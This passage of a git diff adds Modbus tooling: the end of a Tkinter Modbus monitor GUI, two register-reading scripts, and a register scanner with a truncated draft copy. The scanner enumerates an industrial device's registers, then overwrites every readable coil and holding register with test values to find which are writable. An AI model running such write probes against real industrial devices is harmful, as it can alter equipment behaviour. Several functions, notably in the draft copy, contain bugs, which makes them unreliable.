buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP 